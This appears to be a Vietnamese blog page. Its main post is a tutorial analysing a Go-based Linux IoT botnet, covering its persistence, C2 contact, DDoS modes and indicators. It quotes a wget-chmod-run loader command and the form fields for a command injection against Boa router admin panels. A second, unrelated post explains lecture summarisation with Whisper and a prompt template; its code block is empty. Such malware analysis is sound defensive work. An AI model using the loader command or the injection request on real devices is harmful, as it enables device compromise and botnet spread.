Tôi gần đây có nhận được một mẫu malware từ một bạn trẻ, muốn tôi phân tích giúp. Đúng là một cơ hội tuyệt vời để tôi có thể đưa những kiến thức cơ bản nhất của việc phân tích malware dưới dạng những hướng dẫn thực tế, giúp các bạn có phương pháp đơn giản và dễ tiếp cận nhất khi mới bắt đầu.

Cần chuẩn bị những gì?

Để làm một “task” liên quan tới Reverse Engineering thì cần chuẩn bị 2 thứ:

• Bộ công cụ phân tích malware:
  • Chúng ta cần chuẩn bị các chương trình phân tích tĩnh: IDA Pro, Ghidra và Binary Ninja (Binja) - ba công cụ dịch ngược (disassembler/decompiler) đỉnh cao nhất hiện nay
  • Các công cụ phân tích động, chính là các debugger, ví dụ như x64dbg hay gdb…
• Một mẫu malware nào đó

Mẫu malware

https://www.virustotal.com/gui/file/578f3c5dab9cd9b6ca58a635e5c9e717e8331649898c2918dda45f5a613703c6

Nhận xét nhanh thì đây là một mẫu mã độc (malware) trên linux:

1
2
3
4
5
6
7
8
9
SHA-256: 578f3c5dab9cd9b6ca58a635e5c9e717e8331649898c2918dda45f5a613703c6

Vhash: 83b7e04a4a6d626d7dd712758613d1d5

File type: ELF, executable, linux, elf

Magic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=SXo9fcU4f_47pquyp6c9/kDE08I6veCQfKraEBS8a/cFwQM5rzvWCTi1sIe7tS/QqEt0bDlaJefPO8ud-0o, stripped

File size: 4.45 MB (4669440 bytes)

Chú ý rằng kích thước file này cũng tương đối lớn với một malware. Có thể đoán rằng trong file này có thể chứa cả các thư viện runtime của framework chăng?

Phân tích nhanh với IDA Pro

Load file ELF này vào IDA Pro, có thể nhận thấy một đặc điểm thú vị: file này không bị pack, entropy của file ở mức trung bình thấp và chứa các từ khóa liên quan tới Golang.

Phân tích mã độc Linux được viết bằng Golang (không pack/không nén obfuscate nặng bằng các công cụ như UPX) luôn là một thử thách đặc thù. Do Go biên dịch tĩnh (Statically Linked) và tích hợp sẵn toàn bộ Go Runtime bên trong, một file ELF thông thường sẽ rất nặng (vài MB trở lên) và chứa lượng hàm khổng lồ của hệ thống khiến đồ thị luồng điều khiển (Control Flow Graph - CFG) bị loãng.

Tuy nhiên, Go không thể xóa hoàn toàn thông tin cấu trúc dữ liệu. Cho dù mẫu mã độc đã bị strip hết symbol, Go Runtime vẫn bắt buộc phải giữ lại siêu dữ liệu (metadata) trong các phân đoạn như .gopclntab (Go Program Counter Line Table) và .typelink để phục vụ cho tính năng reflection, stack traces và garbage collection.

Tôi nghĩ ngay đến việc dùng GoReSym (của Mandiant) để khôi phục lại toàn bộ tên hàm gốc, các package đi kèm, định nghĩa kiểu (type) và ánh xạ lại chúng vào disassembler. Trong hướng dẫn của GoReSym cũng đã nói rất rõ cách sử dụng:

Trước tiên, cần extract các thông tin về symbol đang lưu trong file thực thi.

GoReSym.exe -t -d -p /path/to/input > golang.symbol.json

Sau đó, dùng script goresym_rename.py của GoReSym để import chúng vào IDA database.

Sau khi import thông tin bổ sung, chúng ta tập trung vào các entrypoint của chương trình. Có thể lưu tâm 2 entrypoint sau:

• main.init: Go cho phép mỗi file source code có một hàm init() tự động chạy trước cả hàm main.main. Mã độc Linux rất hay lợi dụng hàm này để kiểm tra môi trường (Anti-Sandbox, Anti-VM) hoặc thiết lập tính năng ẩn mình trước khi kích hoạt payload chính.

• main.main: Hàm bắt đầu của một chương trình Go.

• runtime.newproc: Hàm tạo một Goroutine mới, tương đương với việc tạo một luồng thực thi song song. Chúng ta cần kiểm tra tham số truyền vào hàm này để biết hàm tiếp theo nào sẽ được chạy ngầm.

Phân tích hành vi của mã độc

Đến lúc này, các bước chuẩn bị đã xong, chúng ta sử dụng logic của mình để bắt đầu bóc tách xem mã độc này làm những gì.

Trước hết, cần chốt lại một quan sát quan trọng: trong cơ sở dữ liệu IDA đã khôi phục symbol, không thấy xuất hiện main.init hay các biến thể kiểu main.init.*. Điều đó không chứng minh tuyệt đối rằng mẫu không có logic khởi tạo sớm, nhưng trong phạm vi triage hiện tại, phần hành vi dễ quan sát và có giá trị nhất tập trung gần như hoàn toàn trong main.main.

1. main.main

Từ main.main, mẫu mã độc thực hiện một chuỗi hành vi rất rõ ràng.

• Việc đầu tiên là gọi main.AutoStart(). Tới đây ta không còn phải đoán nữa, vì nhánh này thực sự triển khai cơ chế persistence khá rõ ràng.

• Ngay sau đó, chương trình sử dụng sẵn địa chỉ Command & Control Server (C2) hard-code là 192.142.55.159 và cổng 9111.
• Tiếp theo, nó tạo một goroutine đầu tiên thông qua runtime.newproc, với target là main.main.func3.
• Sau khi khởi tạo luồng nền, mã độc đi vào vòng lặp thử kết nối TCP liên tục tới máy chủ điều khiển, đồng thời in ra chuỗi trạng thái Connecting to CNC....
• Khi kết nối thành công, nó in Connected to CNC! và bắt đầu phiên làm việc với C2.

Chuỗi hành vi này cho thấy đây không phải là một dropper đơn giản chạy một lần rồi thoát. Nó được thiết kế như một bot hoạt động dài hạn: tồn tại lâu dài trong hệ thống, giữ liên lạc với máy chủ điều khiển, và chờ lệnh tiếp theo.

1.1. main.AutoStart() persistence như thế nào?

Phân tích sâu hơn main.AutoStart() cho thấy cơ chế persistence của mẫu gồm hai giai đoạn riêng biệt.

Giai đoạn 1: tự copy chính nó sang một đường dẫn giống binary hệ thống

Trước hết, malware gọi os.Executable() để lấy đường dẫn file thực thi hiện tại. Sau đó nó thử khả năng ghi file tại một số thư mục sau bằng cách tạo file tạm test_write:

• /usr/bin/
• /data/local/tmp/
• /tmp/
• /var/run/

Cách làm ở đây rất thực dụng: thư mục nào ghi được thì chọn luôn. Sau khi chọn được vị trí phù hợp, nó xóa file test_write, rồi dựng đường dẫn đích có tên cuối là sysd, ví dụ như /usr/bin/sysd. Nếu toàn bộ các đường dẫn trên đều không ghi được, mẫu sẽ fallback về ./sysd trong thư mục làm việc hiện tại.

Nếu file thực thi hiện tại chưa nằm đúng ở vị trí đích đó, malware sẽ mở chính binary của nó, copy sang đường dẫn mới, rồi gọi chmod để đặt quyền thực thi ở mức 0777.

Ý nghĩa của bước này khá rõ:

• mẫu tự nhân bản chính nó sang một vị trí dễ được gọi lại sau này,
• tên sysd được chọn để trông giống một tiến trình hay daemon hệ thống,
• và việc cấp quyền 0777 giúp bảo đảm binary mới có thể được chạy lại dễ dàng.

Đây là kiểu ngụy trang rất cơ bản nhưng hiệu quả với các hệ thống Linux bị cấu hình lỏng lẻo hoặc đã bị chiếm quyền trước đó.

Giai đoạn 2: chèn lệnh khởi động vào các script startup có sẵn

Sau khi xác định được đường dẫn persistence, hàm main.AutoStart() dựng chuỗi lệnh theo dạng:

1
<duong_dan_toi_sysd> &

Ký tự & cho thấy tác giả muốn tiến trình được chạy nền mỗi khi script khởi động được thực thi.

Tiếp theo, malware kiểm tra nhiều file startup kiểu cũ trên Linux. Nếu file tồn tại và chưa chứa chuỗi sysd, nó sẽ append thêm một dòng gọi thực thi malware.

Các file bị nhắm tới gồm:

• /etc/rc.local
• /etc/rc.d/rc.local
• /etc/init.d/boot.local
• /etc/profile
• /root/.bashrc
• /home/user/.bashrc

Cơ chế này cho thấy tác giả không dùng persistence kiểu systemd service hiện đại, mà chọn cách đơn giản hơn: lợi dụng các script khởi động hệ thống và shell profile truyền thống.

Điều này mang lại cho malware hai cơ hội sống lại:

• được thực thi khi máy boot lên thông qua các file như rc.local hoặc boot.local,
• hoặc được thực thi khi người dùng/root mở shell mới thông qua .bashrc hay /etc/profile.

Từ góc nhìn phân tích hành vi, main.AutoStart() là một nhánh rất “đời thường” nhưng đáng chú ý vì nó không cố tỏ ra tinh vi:

• không cần cài service mới,
• không cần sửa crontab phức tạp,
• không cần thêm module kernel hay rootkit,
• chỉ cần copy binary sang tên sysd rồi chèn một dòng vào các script startup sẵn có.

Chính sự đơn giản này lại khiến nó phù hợp với nhiều môi trường Linux khác nhau, đặc biệt là các máy cấu hình kém chặt chẽ, thiết bị IoT, VPS bị chiếm quyền hoặc hệ thống admin ít theo dõi các file khởi động truyền thống.

2. Cơ chế tự duy trì kết nối với C2

Một chi tiết rất đáng chú ý là sau khi kết nối thành công, mẫu mã độc đăng ký một callback bằng time.AfterFunc với mốc thời gian 120 giây. Hàm callback tương ứng là main.main.func1, và chuỗi log liên quan là Auto-reconnecting (120s limit)....

Điều này cho thấy malware có tư duy vận hành khá thực dụng:

• nếu phiên kết nối treo quá lâu hoặc gặp sự cố,
• nó sẽ chủ động kích hoạt logic ngắt/kết nối lại,
• từ đó duy trì kênh điều khiển ổn định với hạ tầng C2.

Ngoài timer callback, main.main còn chạy thêm một goroutine khác trỏ tới main.main.func4. Tác giả tách riêng phần giao tiếp mạng ra khỏi luồng điều khiển chính để bot vừa nghe lệnh vừa tiếp tục duy trì vòng đời kết nối.

Khi socket bị đóng, malware hiển thị Disconnected from CNC. rồi quay về vòng lặp kết nối lại.

3. Luồng scanner / loader chạy song song

Goroutine đầu tiên được tạo từ main.main dẫn tới main.main.func3, và hàm này gọi main.StartScanner(...). Đây là một pivot rất quan trọng vì nó cho thấy mẫu không chỉ chờ lệnh DDoS, mà còn có nhánh hoạt động riêng theo kiểu scanner/loader.

Phân tích main.StartScanner cho thấy hàm này dựng URL theo mẫu:

1
http://%s/bins.sh

Sau đó, malware tạo một lệnh shell hoàn chỉnh:

1
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh

Rồi in ra log:

1
Scanner started. Payload (Loader):

Nghĩa là bot có khả năng tải một shell script từ máy chủ từ xa, cấp quyền thực thi cho script đó rồi chạy trực tiếp trên máy nạn nhân. Đây là dấu hiệu điển hình của một tầng loader: mã Golang đóng vai trò initial access, còn payload kế tiếp được phân phối động dưới dạng script.

Điểm đáng nói hơn là main.StartScanner lặp 100 lần, và ở mỗi vòng lặp lại gọi runtime.newproc để tạo một worker main.StartScanner.func1. Ban đầu nhìn qua thì rất dễ nghĩ rằng mỗi worker chỉ đơn thuần tải bins.sh. Nhưng khi lần theo sâu hơn vào main.StartScanner.func1, có thể thấy đây thực chất là cả một pipeline quét - khai thác - triển khai payload hoàn chỉnh.

3.1. main.StartScanner.func1 thực sự làm gì?

Mỗi worker chạy trong một vòng lặp vô hạn với nhịp hoạt động khá đều:

1. gọi main.generateRandomIP() để sinh IP mục tiêu ngẫu nhiên,
2. chuyển IP đó vào main.exploitDevice(...),
3. sleep khoảng 100000000 ns tức xấp xỉ 100 ms,
4. rồi lặp lại.

Điều này có nghĩa là 100 goroutine không phải 100 downloader thụ động, mà là 100 worker tự đi săn mục tiêu trên mạng theo kiểu random scan. Trong điều kiện lý tưởng, mỗi worker có thể thử khoảng 10 mục tiêu mỗi giây, tất nhiên còn phụ thuộc timeout mạng và độ trễ phản hồi từ nạn nhân.

3.2. Giai đoạn fingerprint: tìm thiết bị chạy Boa

Bên trong main.exploitDevice(...), bước đầu tiên là gọi main.findDevice(). Hàm này mở kết nối TCP tới IP vừa sinh, gửi một request HTTP rất đơn giản:

1
2
3
GET / HTTP/1.1
Host: <target>
User-Agent: Hello World

Sau đó nó đọc response và kiểm tra xem header có chứa chuỗi Server: Boa hay không.

Đây là một chi tiết cực kỳ quan trọng. Nó cho thấy scanner không quét bừa để tìm bất kỳ web server nào, mà đang chủ đích nhắm vào các thiết bị nhúng/IoT hoặc router dùng Boa HTTP server. Nói cách khác, đây là một bộ lọc nạn nhân ngay từ đầu.

3.3. Kiểm tra lộ file cấu hình config.dat

Nếu mục tiêu trông giống thiết bị phù hợp, main.exploitDevice(...) gọi tiếp main.confCheck(). Ở nhánh này, malware gửi request:

1
2
3
GET /config.dat HTTP/1.1
Host: <target>
User-Agent: Hello World

Rồi kiểm tra response có đồng thời thỏa hai điều kiện hay không:

• HTTP/1.1 200 OK
• Content-Disposition: attachment

Nghĩa là malware đang thử xác minh xem thiết bị có làm lộ file cấu hình config.dat dưới dạng tệp tải về hay không. Đây là một pattern rất quen thuộc ở nhiều thiết bị mạng/IoT cấu hình yếu: file export cấu hình có thể bị tải xuống mà không cần kiểm soát truy cập chặt chẽ.

3.4. Chuỗi khai thác credential và đăng nhập

Nếu config.dat có thể truy cập, worker đi tiếp vào chuỗi hàm liên quan tới thông tin xác thực:

• main.getCredLeak()
• tùy trường hợp có thêm main.findCaptcha() / main.getCaptcha()
• main.loginDeviceCaptcha() hoặc main.loginDevice()
• có thể thêm main.getAdminCredLeak() rồi đăng nhập lại lần nữa

Luồng này cho thấy mục tiêu của mã độc không chỉ là fingerprint banner. Nó cố trích xuất thông tin đăng nhập, xử lý cả trường hợp giao diện có CAPTCHA, sau đó đăng nhập vào web admin của thiết bị. Nếu quyền hiện tại chưa đủ mạnh, nó còn thử nhánh lấy credential quản trị rồi leo tiếp lên mức admin.

Nói ngắn gọn: đây là một exploit chain thực dụng dành riêng cho các web admin panel dựa trên Boa.

3.5. Quyết định payload và lạm dụng chức năng thực thi lệnh

Sau khi đăng nhập thành công và xác nhận có khả năng chạy lệnh, main.exploitDevice(...) gọi main.decideInfectPayload(). Hàm này gọi tiếp main.findSysCmd() để xác định kiểu giao diện thực thi lệnh trên thiết bị, rồi chọn một trong hai nhánh:

• main.syscmdPing() khi mode là 1
• main.syscmdPingToto() khi mode là 2

Điểm mấu chốt ở đây là malware không dừng ở mức chiếm được thông tin đăng nhập. Nó còn cố tận dụng tính năng “system command” trên giao diện quản trị để đẩy lệnh shell thực tế sang thiết bị nạn nhân.

Biến thể 1: chèn lệnh qua trường ping

Ở nhánh main.syscmdPing(), malware gửi POST tới endpoint:

1
/boafrm/formSysCmd

Payload form có các trường đáng chú ý như:

• sysCmdType=ping
• sysCmd=-c+4%3B<loader-command>
• apply=Apply
• submit-url=%2Fsyscmd.htm

Về mặt ý tưởng, tác giả đã lợi dụng trường ping để nhét thêm chuỗi lệnh shell phía sau -c 4;. Đây là kiểu command injection rất điển hình: giao diện nghĩ rằng nó đang chạy một lệnh ping bình thường, nhưng thực tế phần sau dấu ; sẽ kéo theo loader command.

Biến thể 2: ghi lệnh trực tiếp vào ô chạy command

Ở nhánh main.syscmdPingToto(), malware vẫn POST tới /boafrm/formSysCmd, nhưng tham số có layout khác:

• submit-url=%2Fsyscmd.htm
• sysCmdselect=5
• sysCmdselects=0
• save_apply=Run+Command
• sysCmd=<loader-command>

Nhánh này có vẻ nhắm tới một biến thể giao diện quản trị khác, nơi lệnh có thể được đưa trực tiếp vào trường Run Command thay vì lách qua tính năng ping.

Trong cả hai trường hợp, malware đều kiểm tra response xem có xuất hiện chuỗi syscmd.htm hay không để coi như dấu hiệu triển khai thành công.

3.6. Vậy từng worker đang làm gì trên thực tế?

Ghép toàn bộ chuỗi lại, một worker main.StartScanner.func1 sẽ làm các bước sau:

1. sinh IP ngẫu nhiên,
2. kiểm tra xem mục tiêu có phải thiết bị dùng Boa hay không,
3. thử truy cập /config.dat,
4. lấy hoặc lạm dụng credential,
5. đăng nhập vào web admin,
6. dò khả năng thực thi lệnh hệ thống,
7. đẩy một loader command tới /boafrm/formSysCmd,
8. buộc thiết bị tải bins.sh, cấp quyền thực thi và chạy nó,
9. nghỉ 100 ms rồi tiếp tục với IP kế tiếp.

Như vậy, main.StartScanner.func1 không phải là worker tải file đơn giản. Nó là một worker hoàn chỉnh kiểu compromise-and-deploy: vừa quét ngẫu nhiên, vừa fingerprint thiết bị IoT dùng Boa, vừa khai thác lộ lọt cấu hình/credential, rồi cuối cùng cài payload sang nạn nhân.

Khi nhìn lại main.StartScanner dưới góc này, ta thấy cụm 100 goroutine không chỉ nhằm “tăng tốc scan”, mà là để song song hóa toàn bộ quy trình xâm nhập và phát tán malware trên diện rộng. Đây là lý do nên coi mẫu này là bot DDoS có tích hợp scanner/loader chủ động, chứ không chỉ là một client chờ lệnh từ C2.

4. Cơ chế nhận lệnh từ máy chủ điều khiển

Sau khi có kết nối sống tới C2, socket được bọc trong một scanner để đọc dữ liệu theo từng dòng. Dữ liệu nhận về được parse token bằng strings.Fields, nghĩa là giao thức điều khiển ở đây khá đơn giản: operator gửi một dòng lệnh dạng text, bot parse tham số theo khoảng trắng rồi quyết định chạy nhánh nào.

Thiết kế này thường gặp ở botnet nhỏ hoặc các mẫu malware được viết với mục tiêu triển khai nhanh:

• dễ sửa phía server,
• dễ thêm lệnh mới,
• và ít tốn công xây dựng giao thức nhị phân phức tạp.

Sau khi parse xong, chương trình không thực thi trực tiếp ngay trong luồng đọc socket mà tiếp tục spawn goroutine cho từng tác vụ tấn công. Đây là một quyết định hợp lý từ góc nhìn của tác giả malware: bot vẫn giữ được khả năng nhận lệnh mới trong khi các đợt flood đang chạy nền.

5. Các tính năng tấn công DDoS

Từ các target được sinh ra qua runtime.newproc và logic dispatch trong main.main, có thể thấy mẫu hỗ trợ khá nhiều mode tấn công khác nhau. Các tên hàm phục hồi được cho ta một bức tranh khá rõ:

• main.main.func5: UDP attack
• main.main.func6: HEX attack
• main.main.func7: TLS attack
• main.main.func8: PPS raw-style flood
• main.main.func9: TLS+ Direct attack
• main.main.func10: TLS+ Proxy attack
• main.main.func11: nhánh attack được kích hoạt bởi biến thể lệnh có 6 trường
• main.main.func12: TCP attack
• main.main.func13: OVH attack
• main.main.func14: STD attack
• main.main.func15: GAME attack
• main.main.func16: PRIV7 POST attack
• main.main.func17: FORT attack
• main.main.func18: PING attack
• main.main.func19: NTP amplification attack

Ngoài ra, các cross-reference còn cho thấy liên hệ tới các method có tên như Botnet_Methods.UdpFlood, Botnet_Methods.TLSFlood, Botnet_Methods.TLSPlusFlood, Botnet_Methods.TLSPlusBypassFlood, Botnet_Methods.NtpAmp, Botnet_Methods.GameFlood, Botnet_Methods.FortAttack hay Botnet_Methods.Priv7Flood.

Dựa vào naming convention cũng đủ thấy mục tiêu của mẫu là cung cấp cho operator nhiều profile flood khác nhau, bao gồm:

• tấn công tầng vận chuyển như UDP/TCP,
• tấn công dựa trên TLS,
• các biến thể flood nhắm theo ứng dụng hoặc dịch vụ cụ thể,
• và cả amplification thông qua NTP.

Đây là tập năng lực tương đối đa dạng, vượt xa một PoC đơn giản. Nó phản ánh một botnet client đã được đóng gói để phục vụ tác chiến DDoS thực dụng.

6. IoC và chuỗi hành vi tổng quát

Trong phạm vi mẫu đang xét, các IoC nổi bật nhất là:

• C2 IP: 192.142.55.159
• C2 port: 9111
• Tên file persistence: sysd
• Các thư mục mà malware thử copy tới: /usr/bin/, /data/local/tmp/, /tmp/, /var/run/
• Các file startup bị nhắm tới: /etc/rc.local, /etc/rc.d/rc.local, /etc/init.d/boot.local, /etc/profile, /root/.bashrc, /home/user/.bashrc
• Chuỗi fingerprint mục tiêu: Server: Boa
• Đường dẫn kiểm tra lộ cấu hình: /config.dat
• Endpoint bị lạm dụng để thực thi lệnh: /boafrm/formSysCmd
• Dấu hiệu phản hồi thành công sau khai thác: syscmd.htm
• Các chuỗi log: Connecting to CNC..., Connected to CNC!, Disconnected from CNC., Auto-reconnecting (120s limit)..., Scanner started. Payload (Loader):

Ghép tất cả lại, ta có thể mô tả hành vi tổng quát của mẫu theo thứ tự như sau:

1. Thiết lập persistence qua main.AutoStart() bằng cách tự copy thành sysd và chèn lệnh chạy vào các file startup.
2. Kích hoạt 100 worker scanner/loader chạy song song để quét IP ngẫu nhiên.
3. Fingerprint các thiết bị dùng Boa, kiểm tra lộ config.dat, rồi khai thác credential và web admin nếu khả thi.
4. Lạm dụng /boafrm/formSysCmd để đẩy loader command tải và chạy bins.sh trên nạn nhân.
5. Đồng thời duy trì kết nối tới C2 hard-code 192.142.55.159:9111.
6. Chờ và phân tích lệnh dạng text gửi từ operator.
7. Spawn các goroutine tương ứng để thực hiện nhiều kiểu DDoS khác nhau.
8. Nếu mất kết nối thì tự động thử tái kết nối để tiếp tục vòng đời bot.

7. Kết luận

Với các bằng chứng hiện có, đây là một mẫu Go botnet client dành cho Linux, tích hợp đồng thời hai vai trò:

• một agent duy trì kết nối thường trực với máy chủ điều khiển,
• và một thành phần scanner/loader chủ động có khả năng quét, khai thác và triển khai payload sang thiết bị khác.

Điểm mạnh của mẫu không nằm ở kỹ thuật che giấu quá tinh vi, mà nằm ở kiến trúc vận hành đơn giản nhưng hiệu quả: dùng goroutine để đẩy mạnh tính song song, giữ kết nối C2 bền bỉ, và sẵn sàng nhận lệnh flood theo nhiều biến thể khác nhau. Điểm quan trọng nhất sau khi lần sâu vào main.StartScanner.func1 là: đây không phải một downloader thông thường, mà là một worker xâm nhập hoàn chỉnh nhắm vào các thiết bị web admin dùng Boa. Với người mới học malware analysis, đây là một ví dụ rất tốt để thấy rằng chỉ cần lần đúng main.main, runtime.newproc, các chuỗi hạ tầng cứng và các hàm worker chính là đã có thể dựng lại gần như toàn bộ hành vi cốt lõi của mẫu.

Tôi gần đây có tham dự một số lớp học buổi tối sau giờ làm việc. Việc học mấy tiếng buổi tối quả thật rất tốn sức. Do đó, nếu một công cụ giúp tôi tóm tắt bài học để có thể tra lại sau khi học thì quả là tuyệt vời. Lúc này, tôi nghĩ ngay đến việc dùng AI để tóm tắt bài học, tra cứu video khi cần và cần biết chính xác thời điểm tương ứng với bài học để tôi có thể seek đến chính xác vị trí và xem chính xác nội dung cần tham khảo.

Cần chuẩn bị những gì?

Để làm một “task” liên quan tới AI thì cần chuẩn bị 2 thứ:

• 80% ở Data Engineering (chuẩn bị dữ liệu đầu vào).
• 20% ở Prompt Engineering (viết prompt hợp lý).

Data engineering

• Tải toàn bộ video về: Task này hoàn toàn không khó gì, kể cả với các video “private”, cần một chút mẹo với trình duyệt là đủ.
• Tách audio từ video: task này cần một lệnh đơn giản với công cụ miễn phí, mã nguồn mở ffmpeg
• Chuyển đổi audio sang text: OpenAI đã release một model khá ổn cho việc này, có tên là whisper: Robust Speech Recognition via Large-Scale Weak Supervision. Điểm tuyệt vời của model này là miễn phí, hoàn toàn có thể chạy với các GPU phổ thông, cần VRAM khá ít (model large chỉ cần 10 GB VRAM). Vì video của tôi là bài giảng của một giảng viên nói tiếng Việt nên tôi chọn model này. Model hoạt động trên máy tính cá nhân của tôi (CPU Ryzen 3900X, 64GB RAM, GPU 4060Ti 16GB VRAM) với tốc độ khá tốt: transcript audio dài 3 giờ tốn khoảng 30 phút. Với ngôn ngữ tiếng Việt, tôi chọn model large (https://github.com/openai/whisper?tab=readme-ov-file#available-models-and-languages)

Với các transcript tiếng Anh, hoàn toàn có thể chọn model có kích thước nhỏ hơn (medium hoặc small) để tăng tốc độ.

Sau bước này, chúng ta sẽ có một file text chứa toàn bộ transcript của video.

Prompt engineering

Đây là 20% còn lại của task. Hầu hết chúng ta đang kỳ vọng quá nhiều vào AI, mong muốn nó phải biết hết và đưa cho mình một câu trả lời toàn diện, có chiều sâu. Đáp lại kỳ vọng này lại là một kết quả chung chung, đọc qua thì có vẻ “hợp lý”, nhưng thực thế lại thiếu chiều sâu và không có nhiều tác dụng.

Đối với tôi, model AI nào không quan trọng, vì khi dùng prompt đúng thì kết quả đầu ra tương đương nhau. Tuy nhiên, tôi khá thích các model mới như Claude sonnet 4.5 (Anthropic), ChatGPT-5 (OpenAI). Gemini 2.5 Pro (Google) cho kết quả cũng không tệ. Nếu đổi sang dùng DeepSeek thì chất lượng hơi giảm so với đánh giá của tôi, nhưng tôi cho rằng chấp nhận được. Một điểm quan tâm của tôi là giá thành. Các model AI cho kết quả tương đương thì chúng ta cứ chọn loại rẻ thôi.

Vấn đề chính nằm ở chỗ “chúng ta đặt câu hỏi cho AI thế nào?” . Mặc dù AI không thể thay thế con người, nhưng chỉ bằng cách tối ưu prompt cho AI, chúng ta sẽ giúp AI trả lời tốt hơn.

Chúng ta có thể sử dụng công thức sau cho việc viết prompt cho AI, tạm gọi là công thức C.O.R.G.I.C.E:

• Context (Bối cảnh): Nói rõ đầu vào, hoàn cảnh, ngôn ngữ, cấu trúc dữ liệu sẵn có.
• Output format: Khuôn mẫu đầu ra
• Role (Vai trò): Nhập vai để xác định phong cách. Đây là một phương pháp cho phép AI tương tác và tạo câu trả lời đúng với yêu cầu định ra.
• Goal (Mục tiêu): Kết quả cần đạt, giá trị cốt lõi của câu trả lời.
• Instruction/Requirements (Hướng dẫn): Đây là phần hướng dẫn chi tiết cách làm cụ thể cách làm cụ thể để AI biết cần làm từng bước nào.
• Constraints (Ràng buộc): Ràng buộc cứng cần tuân thủ. Đây là các “luật cấm” và ưu tiên định dạng. Có thể thêm các luật mô tả để AI chống “bịa” trong câu trả lời (“Do NOT invent”, “No hallucinations”, “No Yapping”,…)
• Examples (Ví dụ): minh họa để mô hình hiểu định dạng của dữ liệu.

Ví dụ cụ thể

Quay trở lại vấn đề của tôi, từ công thức viết prompt trên, chúng ta có thể xây dựng một yêu cầu đầy đủ cho AI thực hiện như sau:

Context (Bối cảnh)

You are given a full transcript of an online lecture converted from video or audio. Each line follows this structure:

[START -> END] Utterance text

Example transcript lines:

1
2
[8.44s -> 9.94s]  Chắc mọi người nghe được rồi.
[10.64s -> 16.04s]  Đã 8 giờ thì chắc là tôi xin phép là bắt đầu cái buổi học luôn.

Additional Context:

• Instructor: Instructor’s name
• Transcript file: path_to_transcript.txt
• Note: Replace “Executive Summary” with “Tóm tắt các ý trọng tâm”.

Output Format

Return the final result only in the following Markdown structure:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# [Lesson Title]  
- Instructor: [name or “not stated”]  
- Session date/time: [if stated] • Total speaking time (approx.): ~HH:MM:SS  
- Main objective(s): …  
- Prerequisites mentioned: …  

## Tóm tắt các ý trọng tâm (Executive Summary)
- 5–8 bullet points capturing the main takeaways.

## Table of Contents by Time
1. [hh:mm–hh:mm] Topic/Section — one-line gist  
2. [hh:mm–hh:mm] Topic/Section — one-line gist  
…

## Detailed Outline (time-anchored)
### [hh:mm–hh:mm] Section Title
- Key ideas:  
  - …
  - …
- Important definitions/frameworks:  
  - Term — short definition.
- Examples/demos/case studies:  
  - …
- Teacher’s guidance (tips, cautions, rules of thumb):  
  - …
- If relevant: equations/steps/checklists shown or described.
- Slide cues (if explicitly referenced): “Slide mentions …” [no fabrication]

## Methods / Systems Explained
- Name (e.g., “The Turtle system”): purpose, components, when/why to use, pros/cons, constraints, assumptions.

## Pros & Cons / Comparisons (if discussed)
- …

## Q&A / Misconceptions Addressed
- Question → concise answer [timestamp].  
- …

## Assignments / Action Items / Next Steps
- Practice items, deadlines, submissions, or readings.

## Resources Mentioned
- Books, articles, websites, datasets, code, or slide references (only if mentioned in transcript).

## Glossary of Terms (brief)
- Term: short definition.

## Key Quotes (optional, ≤5)
- “[translated quote]” — [timestamp]

Role (Vai trò)

You are an expert lecture summarizer. Your expertise lies in producing faithful, structured, timestamp-anchored summaries of academic or professional lectures.

Goal (Mục tiêu)

Create a complete, accurate, and time-organized summary that helps learners quickly review the lesson content without hallucination or redundancy. Your summary should:

• Capture definitions, frameworks, formulas, examples, teacher’s advice, and cautions.
• Structure content by topics/segments with clear timestamps.
• Be concise but comprehensive, and written in clear, natural Vietnamese.

Instructions (Hướng dẫn cụ thể)

1) Use only transcript content. Do NOT invent slides, examples, or data not present in the text.

2) If unclear, write [unclear] instead of guessing.

3) Translate any quoted phrases into natural Vietnamese.

4) Remove filler talk (greetings, ums, repetition). Keep logistics only if they include instructions, deadlines, or assignments.

5) Merge short lines that share the same topic into a single summarized segment.

6) Normalize all times to the format hh:mm:ss.

7) Anchor each topic section with timestamps ([hh:mm–hh:mm]).

8) Use bullet points instead of long paragraphs.

9) Avoid repeating ideas or writing generic comments.

10) Respect the Markdown format strictly.

Constraints (Ràng buộc)

• Faithfulness: No hallucinations or assumptions. Everything must come directly from the transcript.
• Language: Final output must be written in Vietnamese.
• Format: Return only the Markdown summary.
• Completeness: Ensure all important parts of the lecture (definitions, examples, teacher’s comments, assignments) are covered.
• Clarity: Prefer brevity, logical order, and topic segmentation.

Examples (Ví dụ minh họa)

Input snippet:

1
2
3
[8.44s -> 9.94s]  Chắc mọi người nghe được rồi.
[10.64s -> 16.04s]  Đã 8 giờ thì chắc là tôi xin phép là bắt đầu cái buổi học luôn.
[16.10s -> 22.45s]  Hôm nay chúng ta sẽ học về khái niệm “marketing funnel” và cách ứng dụng nó trong chiến lược nội dung.

Output snippet (Markdown):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Marketing Funnel Overview  
- Instructor: Not stated  
- Session date/time: Not stated • Total speaking time: ~00:22:45  
- Main objectives: Understand the concept of the marketing funnel and its application in content strategy.

## Tóm tắt các ý trọng tâm
- The class begins with an overview of “marketing funnel.”  
- The instructor explains its stages and relevance to content planning.  
- Students are guided to apply the concept in practical scenarios.


✅ Final Reminder:
Return only the formatted Markdown summary as specified.
Do not include explanations, raw transcript, or additional commentary.

Tóm tắt một video

Bước này có khá nhiều cách để làm:

• Nếu bạn có sẵn tài khoản ChatGPT-plus trở lên và muốn dùng AI này, thì có thể tạo một custom gpt. System prompt chính là đoạn prompt trên.
• Trường hợp chúng ta muốn sử dụng ChatGPT bản thường (free) trở lên, không muốn tạo custom gpt, có thể lưu prompt phía trên thành một file, đặt tên là instructions.md và transcript sẽ lưu thành file transcript.txt. Với 2 file này, ChatGPT sẽ biết phải xử lý thế nào.
• Nếu đã quen với vscode, chúng ta hoàn toàn có thể thêm vào vscode một chế độ mới, để có thể thực hiện công việc này.
• Trường hợp chúng ta muốn mọi thứ trông giống lập trình viên hơn, có thể dùng đoạn code sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
